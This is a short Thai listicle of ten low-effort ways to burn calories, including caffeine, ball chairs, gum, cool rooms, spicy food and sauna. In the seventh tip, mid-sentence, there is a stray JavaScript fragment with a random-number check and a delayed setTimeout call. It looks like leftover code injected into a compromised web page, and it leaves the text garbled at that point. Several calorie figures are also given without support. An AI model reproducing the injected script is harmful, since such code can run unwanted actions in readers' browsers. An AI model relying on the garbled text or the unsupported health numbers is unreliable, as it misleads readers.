10 วิธีเบริ์นแคลอรี่แบบขี้เกียจ
ขี้เกียจออกกำลังกายแต่อยากผอม….StepExtra ภูมิใจนำเสนอวิธีเบริ์นแคลอรี่แบบฉบับคนขี้เกียจ
1. รับประทานคาเฟอีน สารคาเฟอีนช่วยกระตุ้นการเผาผลาญแคลอรี่ได้ 3 ชั่วโมง ถ้าไม่กินกาแฟ ลองชาดูก็ได้
2. Active sitting รู้หรือไม่การนั่งบนเจ้า stability ball หรือ chair ball สามารถช่วยเผาผลาญแคลอรี่ได้ 260 ต่อวัน แถมยังช่วยฝึก Core Muscle
3. เคี้ยวหมากฝรั่งการเคี้ยวหมากฝรั่งช่วยลดการกินขนมขบเคี้ยวได้ 20 เลยนะ
4. ลดอุณหภูมิห้องลงที่อุณหภูมิประมาณ 17-18 องศาเซลเซียส เราจะเผาผลาญไขมันมากขึ้นเพื่อรักษาอุณภูมิร่างกายให้คงที่
5. อาหารไทย รู้หรือไม่ว่าอาหารประจำภูมิภาคเอเชียตะวันออกเฉียงใต้โดยเฉพาะไทยช่วยเพิ่มการเผาผลาญแคลอรี่ได้มากขึ้น ส่วนผสมหลักๆ คงหนีไม่พ้นพริกไทยและพริกขี้หนู
6. เล่นเวทน้อยลง 1 วัน การฝึก Strength training 2 ครั้งต่อสัปดาห์ กับการฝึกตามแผน 3 วันต่อสัปดาห์ ให้ผลเท่ากัน
7. สงบลดความเครียด คนที่มีความเครียดเวลาออกกำลังกายจะเผาแคลอรี่น้อยกว่าคนที่มีอารมณ์ปกติ ฉะนั้น Keep clam andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and workout.
8. งดเครื่องดื่มแอลกอฮอล์ การงดเครื่องดื่มที่มีแอลกอฮอล์อย่างพวกเบียร์ สามารถลดการสร้างไขมันและลดจำนวนแคลอรี่เข้าร่างกายได้ประมาณ 148 แคลอรี่เลยละ
9. เขย่าขานะดี อาการอยู่ไม่สุขอย่างการนั่งเขย่าขาไปมา ช่วยฝึกกล้ามเนื้อและสามารถเผาผลาญแคลอรี่ได้เป็นร้อยแทนการนั่งอยู่นิ่งๆ
10. เข้าซาวน่า เข้าอบซาวน่า 10 นาที สามารถกระตุ้นระบบเมตาบอลิซึ่มได้เป็นชั่วโมง
